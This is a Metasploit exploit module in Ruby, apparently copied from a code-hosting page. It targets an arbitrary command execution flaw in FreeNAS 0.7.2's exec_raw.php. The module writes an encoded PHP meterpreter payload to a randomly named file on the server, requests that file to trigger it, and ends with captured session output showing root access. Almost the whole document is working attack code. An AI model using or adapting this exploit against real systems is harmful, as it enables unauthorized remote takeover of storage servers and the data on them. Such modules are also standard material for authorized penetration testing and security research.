84 lines
2.2 KiB
Ruby
84 lines
2.2 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'FreeNAS exec_raw.php Arbitrary Command Execution',
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'Description' => %q{
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This module exploits an arbitrary command execution flaw
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in FreeNAS 0.7.2 < rev.5543. When passing a specially formatted URL
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to the exec_raw.php page, an attacker may be able to execute arbitrary
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commands.
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NOTE: This module works best with php/meterpreter payloads.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '94441' ],
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[ 'URL', 'http://sourceforge.net/projects/freenas/files/stable/0.7.2/NOTES%200.7.2.5543.txt/download' ]
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],
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'Payload' =>
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{
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'Space' => 6144,
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'DisableNops' => true,
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'BadChars' => "`\"' %&x",
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},
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'Targets' =>
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[
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[ 'Automatic Target', { } ]
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],
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'Privileged' => true,
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'DisclosureDate' => 'Nov 6 2010',
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'DefaultTarget' => 0))
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end
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def exploit
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page = rand_text_alpha_upper(rand(5) + 1 ) + ".php"
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shellcode = payload.encoded
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sploit = "echo \"<?php\n#{shellcode}\n?>\" > #{page}"
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print_status("Sending exploit page '#{page}'")
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res = send_request_raw(
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{
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'uri' => "/exec_raw.php?cmd=" + Rex::Text.uri_encode(sploit),
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}, 10)
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if (res and res.code == 200)
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print_status("Triggering payload...")
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send_request_raw({ 'uri' => "/#{page}" }, 5)
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handler
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else
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print_error("Exploit failed.")
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return
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end
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end
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end
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=begin
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meterpreter > sysinfo
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Computer: freenas.local
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OS : FreeBSD freenas.local 7.3-RELEASE-p2 FreeBSD 7.3-RELEASE-p2 #0: Sat Jul 31 12:22:04 CEST 2010 root@dev.freenas.org:/usr/obj/freenas/usr/src/sys/FREENAS-i386 i386
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meterpreter > getuid
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Server username: root (0)
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meterpreter >
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=end
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